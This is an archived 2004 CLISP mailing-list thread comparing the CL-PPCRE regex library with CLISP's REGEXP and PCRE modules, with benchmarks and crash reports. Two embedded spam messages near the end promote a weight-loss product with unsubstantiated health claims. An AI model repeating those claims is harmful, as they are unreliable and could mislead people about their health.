clisp is quite > slow; that's why we are looking for an implementation written in > C/C++. While this is generally true the situation is not as black-and-white as you seem to imply. First, regular expressions are not only about character-at-a-time processing. There are several cases where CL-PPCRE is actually (a lot) faster than CLISP's regex engine. (See end of mail for some benchmarks.) But apart from that I'd say that it is usually just fast enough[TM] (unless you're throwing certain regular expressions at enormous strings several times). Moreover: 1. It has more features (look-aheads, look-behinds, stand-alone expressions, ...) than the current engine. 2. It has a syntax (the one from Perl) most users will be familiar with. 3. It has an alternative S-expression syntax for regular expressions. These are of course much easier to manipulate programmatically from Lisp. 4. Because it's written in Lisp it'll use the same character encoding that CLISP uses independently of external settings like your locale. 5. If you get an error you get an error Lisp can handle. Disasters like this one can't happen: [1]> (regexp:regexp-compile "(a|(bc)){0,0}?xyz" :extended t) *** - handle_fault error2 ! address = 0x14 not in [0x20248000,0x203d5a30) ! SIGSEGV cannot be cured. Fault address = 0x14. Segmentation fault 6. It's written in Lisp (did I mention that already?) - for marketing reasons it might be not too bad an idea if the regex engine used by a Lisp implementation was also written in Lisp... :) Anyway, you decide... Cheers, Edi. Regarding the speed of CL-PPCRE I did some simple benchmarks based on . The code I wrote can be found at . This is on a Debian sid system with CLISP (2.33) from Debian. It should be noted that CL-PPCRE has been profiled with and optimized for CMUCL only. (With the help of Duane Rettig from Franz I've done some preliminary work to optimize it for AllegroCL as well but that's not part of the official distribution yet.) I'm pretty sure there are ways to tweak it for CLISP if someone who knows CLISP better than I does it. I'll gladly accept patches. edi@bird:~$ uname -a Linux bird 2.6.6 #1 Wed May 26 11:10:22 CEST 2004 i686 GNU/Linux edi@bird:~$ echo $LC_CTYPE en_US.UTF-8 edi@bird:~$ clisp WARNING: *FOREIGN-ENCODING*: reset to ASCII i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 ;; Loading file /home/edi/.clisprc ... ;; Loaded file /home/edi/.clisprc [1]> (lisp-implementation-version) "2.33 (2004-03-17) (built 3289141980) (memory 3294470374)" [2]> (require :cl-ppcre) ;; Loading file /usr/share/common-lisp/systems/cl-ppcre.asd ... ;; Loaded file /usr/share/common-lisp/systems/cl-ppcre.asd ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/packages.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/packages.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/specials.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/specials.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/util.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/util.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/errors.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/errors.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/lexer.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/lexer.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/parser.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/parser.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/regex-class.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/regex-class.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/convert.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/convert.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/optimize.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/optimize.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/closures.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/closures.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/repetition-closures.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/repetition-closures.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/scanner.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/scanner.fas ;; Loading file /usr/lib/common-lisp/clisp/cl-ppcre/api.fas ... ;; Loaded file /usr/lib/common-lisp/clisp/cl-ppcre/api.fas 0 errors, 0 warnings T [3]> (load (compile-file "/tmp/bench.lisp")) Compiling file /tmp/bench.lisp ... Wrote file /tmp/bench.fas 0 errors, 0 warnings ;; Loading file /tmp/bench.fas ... ;; Loaded file /tmp/bench.fas T [4]> (test) PPCRE wins by a factor of 31.2 PPCRE wins by a factor of 257.9 PPCRE wins by a factor of 2534.2 PPCRE wins by a factor of 20842.4 PPCRE wins by a factor of 3.6 PPCRE wins by a factor of 3.8 PPCRE wins by a factor of 3.9 PPCRE wins by a factor of 4.0 PPCRE wins by a factor of 9.5 PPCRE wins by a factor of 84.5 PPCRE wins by a factor of 846.4 PPCRE wins by a factor of 6337.0 CLISP wins by a factor of 1.3 CLISP wins by a factor of 1.3 CLISP wins by a factor of 1.3 CLISP wins by a factor of 1.2 CLISP wins by a factor of 2.1 CLISP wins by a factor of 2.3 CLISP wins by a factor of 2.3 CLISP wins by a factor of 2.0 PPCRE wins by a factor of 3.0 PPCRE wins by a factor of 3.2 PPCRE wins by a factor of 3.3 PPCRE wins by a factor of 3.3 PPCRE wins by a factor of 1.2 PPCRE wins by a factor of 1.2 PPCRE wins by a factor of 1.2 PPCRE wins by a factor of 1.2 CLISP wins by a factor of 2.3 CLISP wins by a factor of 2.6 CLISP wins by a factor of 2.7 CLISP wins by a factor of 2.4 PPCRE wins by a factor of 3.0 PPCRE wins by a factor of 3.1 PPCRE wins by a factor of 3.3 PPCRE wins by a factor of 3.3 PPCRE wins by a factor of 1.3 PPCRE wins by a factor of 1.5 PPCRE wins by a factor of 1.5 PPCRE wins by a factor of 1.5 CLISP wins by a factor of 1.9 CLISP wins by a factor of 1.9 CLISP wins by a factor of 1.8 PPCRE wins by a factor of 48.6 PPCRE wins by a factor of 617.9 PPCRE wins by a factor of 6168.3 CLISP wins by a factor of 14.6 CLISP wins by a factor of 20.1 CLISP wins by a factor of 21.3 PPCRE wins by a factor of 1.2 PPCRE wins by a factor of 1.8 PPCRE wins by a factor of 1.8 CLISP wins by a factor of 14.6 CLISP wins by a factor of 21.3 CLISP wins by a factor of 21.9 PPCRE wins by a factor of 1.3 PPCRE wins by a factor of 1.8 PPCRE wins by a factor of 1.9 PPCRE wins by a factor of 1.6 PPCRE wins by a factor of 2.0 PPCRE wins by a factor of 2.1 NIL [5]> From sds@gnu.org Thu May 27 16:53:02 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTUgI-0005rq-HM for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 16:53:02 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BTUgI-0005Qh-32 for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 16:53:02 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BTUgG-00033Q-00; Thu, 27 May 2004 19:53:00 -0400 To: clisp-list@lists.sourceforge.net, edi@agharta.de Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87r7t5tp94.fsf@agharta.de> (Edi Weitz's message of "Fri, 28 May 2004 01:38:15 +0200") References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> <87r7t5tp94.fsf@agharta.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, edi@agharta.de Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 16:54:00 2004 X-Original-Date: Thu, 27 May 2004 19:52:59 -0400 > * Edi Weitz [2004-05-28 01:38:15 +0200]: > > 2. It has a syntax (the one from Perl) most users will be familiar > with. could you please benchmark it against the CLISP PCRE module? -- Sam Steingold (http://www.podval.org/~sds) running w2k Our business is run on trust. We trust you will pay in advance. From edi@agharta.de Thu May 27 18:16:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTVzX-0002vm-0c for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 18:16:59 -0700 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BTVzV-0005wc-OL for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 18:16:58 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id 82D42C65F; Fri, 28 May 2004 03:16:58 +0200 (CEST) To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Regexps w/clisp Reply-To: edi@agharta.de References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> <87r7t5tp94.fsf@agharta.de> From: Edi Weitz In-Reply-To: (Sam Steingold's message of "Thu, 27 May 2004 19:52:59 -0400") Message-ID: <87ekp5e4fp.fsf@bird.agharta.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 18:17:46 2004 X-Original-Date: Fri, 28 May 2004 03:16:58 +0200 On Thu, 27 May 2004 19:52:59 -0400, Sam Steingold wrote: > could you please benchmark it against the CLISP PCRE module? See below. I had to test on Cygwin because the Debian CLISP doesn't seem to include PCRE. To be fair to CL-PPCRE I'd like to note that the PCRE module seems pretty useless to me. You can completely kill CLISP (CLISP silently dies) with various small, legitimate regular expressions. Here's one example: edi@bird:~/lisp/cl-ppcre$ clisp -Kfull i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 ;; Loading file /home/edi/.clisprc ... ;; Loaded file /home/edi/.clisprc [1]> (pcre:pcre-exec (pcre:pcre-compile "(aa)(.*)") "aaxx") edi@bird:~/lisp/cl-ppcre$ You can also kill it with medium-sized target strings: edi@bird:~/lisp/cl-ppcre$ clisp -Kfull i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 ;; Loading file /home/edi/.clisprc ... ;; Loaded file /home/edi/.clisprc [1]> (defparameter *xxxx* (make-string 10000 :initial-element #\x)) *XXXX* [2]> (pcre:pcre-exec (pcre:pcre-compile "(.)*" :dotall t) *xxxx*) edi@bird:~/lisp/cl-ppcre$ Hmmm, I'm not impressed... I had to modify the benchmark and remove a couple of tests to make it work at all. The source code is at . Here are the results: edi@bird:~/lisp/cl-ppcre$ uname -a CYGWIN_NT-5.1 bird 1.5.10(0.116/4/2) 2004-05-25 22:07 i686 unknown unknown Cygwin edi@bird:~/lisp/cl-ppcre$ clisp -Kfull i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2004 ;; Loading file /home/edi/.clisprc ... ;; Loaded file /home/edi/.clisprc [1]> (lisp-implementation-version) "2.33 (2004-03-17) (built on winsteingoldlap [10.0.19.22])" [2]> (load "load.lisp") ;; Loading file load.lisp ... ;; Loading file /home/edi/lisp/cl-ppcre/packages.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/packages.fas ;; Loading file /home/edi/lisp/cl-ppcre/specials.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/specials.fas ;; Loading file /home/edi/lisp/cl-ppcre/util.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/util.fas ;; Loading file /home/edi/lisp/cl-ppcre/errors.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/errors.fas ;; Loading file /home/edi/lisp/cl-ppcre/lexer.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/lexer.fas ;; Loading file /home/edi/lisp/cl-ppcre/parser.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/parser.fas ;; Loading file /home/edi/lisp/cl-ppcre/regex-class.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/regex-class.fas ;; Loading file /home/edi/lisp/cl-ppcre/convert.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/convert.fas ;; Loading file /home/edi/lisp/cl-ppcre/optimize.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/optimize.fas ;; Loading file /home/edi/lisp/cl-ppcre/closures.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/closures.fas ;; Loading file /home/edi/lisp/cl-ppcre/repetition-closures.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/repetition-closures.fas ;; Loading file /home/edi/lisp/cl-ppcre/scanner.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/scanner.fas ;; Loading file /home/edi/lisp/cl-ppcre/api.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/api.fas ;; Loading file /home/edi/lisp/cl-ppcre/ppcre-tests.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/ppcre-tests.fas ;; Loaded file load.lisp T [3]> (load (compile-file "bench2.lisp")) Compiling file /home/edi/lisp/cl-ppcre/bench2.lisp ... Wrote file /home/edi/lisp/cl-ppcre/bench2.fas 0 errors, 0 warnings ;; Loading file /home/edi/lisp/cl-ppcre/bench2.fas ... ;; Loaded file /home/edi/lisp/cl-ppcre/bench2.fas T [4]> (test) CL-PPCRE wins by a factor of 2.8 CL-PPCRE wins by a factor of 44.0 PCRE wins by a factor of 2.4 PCRE wins by a factor of 1.3 PCRE wins by a factor of 1.3 CL-PPCRE wins by a factor of 3.0 PCRE wins by a factor of 12.0 PCRE wins by a factor of 22.3 PCRE wins by a factor of 14.2 PCRE wins by a factor of 23.8 PCRE wins by a factor of 2.5 PCRE wins by a factor of 1.8 PCRE wins by a factor of 7.2 PCRE wins by a factor of 5.4 PCRE wins by a factor of 12.3 PCRE wins by a factor of 18.9 PCRE wins by a factor of 2.3 PCRE wins by a factor of 1.2 PCRE wins by a factor of 15.8 PCRE wins by a factor of 24.9 PCRE wins by a factor of 13.5 CL-PPCRE wins by a factor of 1.6 PCRE wins by a factor of 12.0 PCRE wins by a factor of 8.9 PCRE wins by a factor of 12.5 PCRE wins by a factor of 11.0 PCRE wins by a factor of 1.4 CL-PPCRE wins by a factor of 1.1 NIL HTH, Edi. From sds@gnu.org Thu May 27 18:36:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTWIR-00074a-F8 for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 18:36:31 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BTWIP-0001NU-5a for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 18:36:29 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BTWIO-000069-00; Thu, 27 May 2004 21:36:28 -0400 To: clisp-list@lists.sourceforge.net, edi@agharta.de Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87ekp5e4fp.fsf@bird.agharta.de> (Edi Weitz's message of "Fri, 28 May 2004 03:16:58 +0200") References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> <87r7t5tp94.fsf@agharta.de> <87ekp5e4fp.fsf@bird.agharta.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, edi@agharta.de Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 18:37:06 2004 X-Original-Date: Thu, 27 May 2004 21:36:27 -0400 Edi, This is very suspicious. The fact that you outperform them by a factor of 10-100 means that Either they do something very stupid or you do something real smart or something very wrong (they cannot so something wrong because what they do is right by definition :-). I think you need to investigate what is going on further. Can you describe what regexes you handle so exceptionally well? -- Sam Steingold (http://www.podval.org/~sds) running w2k If you want it done right, you have to do it yourself From edi@agharta.de Thu May 27 19:02:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTWhS-0003Wb-5B for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 19:02:22 -0700 Received: from trane.agharta.de ([62.159.208.82] helo=bird.agharta.de) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BTWhR-0007lS-74 for clisp-list@lists.sourceforge.net; Thu, 27 May 2004 19:02:21 -0700 Received: by bird.agharta.de (Postfix, from userid 1000) id 46BCA23B9B; Fri, 28 May 2004 04:02:21 +0200 (CEST) To: clisp-list@lists.sourceforge.net Reply-To: edi@agharta.de References: <20040526145820.GW12512@naia.homelinux.net> <87y8ne5nkl.fsf@agharta.de> <200405271429.17650.bruno@clisp.org> <87r7t5tp94.fsf@agharta.de> <87ekp5e4fp.fsf@bird.agharta.de> From: Edi Weitz In-Reply-To: (Sam Steingold's message of "Thu, 27 May 2004 21:36:27 -0400") Message-ID: <871xl5e2c2.fsf@bird.agharta.de> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu May 27 19:03:02 2004 X-Original-Date: Fri, 28 May 2004 04:02:21 +0200 On Thu, 27 May 2004 21:36:27 -0400, Sam Steingold wrote: > This is very suspicious. I think it's more suspicious that both PCRE and REGEXP are able to kill my Lisp... > The fact that you outperform them by a factor of 10-100 means that > Either they do something very stupid or you do something real smart > or something very wrong I'm pretty sure that CL-PPCRE basically works right (although there certainly are bugs like in almost any program). CL-PPCRE is used in "The Regex Coach"[1] which has been downloaded more than 80,000 times in the last year. That's a rather large number of testers, isn't it? > (they cannot so something wrong because what they do is right by > definition :-). Who is they and why are they right by definition? Which definition? CL-PPCRE purports to be compatible with Perl, so the defining instance for my library is Perl. Unfortunately, Perl itself has a couple of bugs: . Or try this: edi@bird:~$ perl -v This is perl, v5.8.3 built for i386-linux-thread-multi Copyright 1987-2003, Larry Wall Perl may be copied only under the terms of either the Artistic License or= the GNU General Public License, which may be found in the Perl 5 source kit. Complete documentation for Perl, including FAQ lists, should be found on this system using `man perl' or `perldoc perl'. If you have access to the Internet, point your browser at http://www.perl.com/, the Perl Home Page. edi@bird:~$ perl -lwe '$_=3D"a" x 3000 . "b"; /(a|)*/; print $1' edi@bird:~$ perl -lwe '$_=3D"a" x 30000 . "b"; /(a|)*/; print $1' Segmentation fault > I think you need to investigate what is going on further. I don't think so. > Can you describe what regexes you handle so exceptionally well? CL-PPCRE makes a couple of semi-smart decisions: 1. It can optimize the scan progress for anchored regular expressions and for regular expressions which basically say "don't test, just skip", like /.*/s. I think Perl and PCRE do similar things. Their C code is too complicated for me to understand it... :) 2. It employes Boyer-Moore-Horspool searching for constant parts of the regex. Again, I think Perl does the same. Don't know about PCRE. 3. It rewrites certain classes of regular expressions to avoid unnecessary capturing of register groups, something like this: (a)* -> (?:a*(a))? I think this is the biggest win compared to "na=EFve" engines like REGEXP. (Don't know if Perl does that. From the speed they're able to achieve I /guess/ they do something similar.) Cheers, Edi. [1] From smataed@flightcentre.com.au Fri May 28 08:34:09 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BTjN1-0000J6-Vv; Fri, 28 May 2004 08:34:07 -0700 Received: from [200.80.52.198] (helo=phelan-kell.de) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BTjN0-0005Q3-Na; Fri, 28 May 2004 08:34:07 -0700 Received: from 194.167.60.225 by smtp.flightcentre.com.au; Fri, 28 May 2004 18:32:41 +0000 Message-ID: <02c801c444e2$b83a8d86$43a1606d@phelan-kell.de> From: "Sung Mata" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.3 ALL_NATURAL BODY: Spam is 100% natural?! 0.1 EXCUSE_10 BODY: "if you do not wish to receive any more" 0.8 BIZ_TLD URI: Contains a URL in the BIZ top-level domain Subject: [clisp-list] Very powerful weightloss now available. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 28 08:35:25 2004 X-Original-Date: Fri, 28 May 2004 23:32:33 +0500 Hello, I have a special_offer for you... WANT TO LOSE WEIGHT? The most powerful weightloss is now available without prescription. All natural Adipren720 100% Money Back Guarantée! - Lose up to 19% Total Body Weight. - Up to 300% more Weight Loss while dieting. - Loss of 20-35% abdominal Fat. - Reduction of 40-70% overall Fat under skin. - Increase metabolic rate by 76.9% without Exercise. - Boost your Confidence level and Self Esteem. - Burns calorized fat. - Suppresses appetite for sugar. Get the facts about all-natural Adipren720 If you wish not to be contacted again please enter your email address here. From stuart_woodsonom@ravnal.fr Sun May 30 03:07:31 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BUNE3-0002O0-18; Sun, 30 May 2004 03:07:31 -0700 Received: from adsl-68-121-190-214.dsl.lsan03.pacbell.net ([68.121.190.214] helo=jura.ch) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BUNDz-0001z1-Gb; Sun, 30 May 2004 03:07:28 -0700 Received: from 139.203.88.43 by smtp.ravnal.fr; Sun, 30 May 2004 10:02:48 +0000 Message-ID: From: "Stuart Woodson" To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.3 ALL_NATURAL BODY: Spam is 100% natural?! 0.1 EXCUSE_10 BODY: "if you do not wish to receive any more" 0.8 BIZ_TLD URI: Contains a URL in the BIZ top-level domain Subject: [clisp-list] Very powerful weightloss now available. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun May 30 03:08:04 2004 X-Original-Date: Sun, 30 May 2004 09:02:37 -0100 Hello, I have a special_offer for you... WANT TO LOSE WEIGHT? The most powerful weightloss is now available without prescription. All natural Adipren720 100% Money Back Guarantée! - Lose up to 19% Total Body Weight. - Up to 300% more Weight Loss while dieting. - Loss of 20-35% abdominal Fat. - Reduction of 40-70% overall Fat under skin. - Increase metabolic rate by 76.9% without Exercise. - Boost your Confidence level and Self Esteem. - Burns calorized fat. - Suppresses appetite for sugar. Get the facts about all-natural Adipren720 If you wish not to be contacted again please enter your email address here. From sam@jovi.net Mon May 31 22:21:12 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BV1i4-0007IR-2V for clisp-list@lists.sourceforge.net; Mon, 31 May 2004 22:21:12 -0700 Received: from grant.org ([206.190.173.18]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BV1i3-0003U1-Ha for clisp-list@lists.sourceforge.net; Mon, 31 May 2004 22:21:11 -0700 Received: from jovi.net (h000d8885caee.ne.client2.attbi.com [24.61.252.65]) (authenticated bits=0) by grant.org (8.12.9p2/8.12.9) with ESMTP id i515Krhw039977 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 1 Jun 2004 01:20:54 -0400 (EDT) (envelope-from sam@jovi.net) Mime-Version: 1.0 (Apple Message framework v553) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Sam P To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <613654FB-B38B-11D8-BB64-000393B3B454@jovi.net> X-Mailer: Apple Mail (2.553) X-Virus-Scanned: by 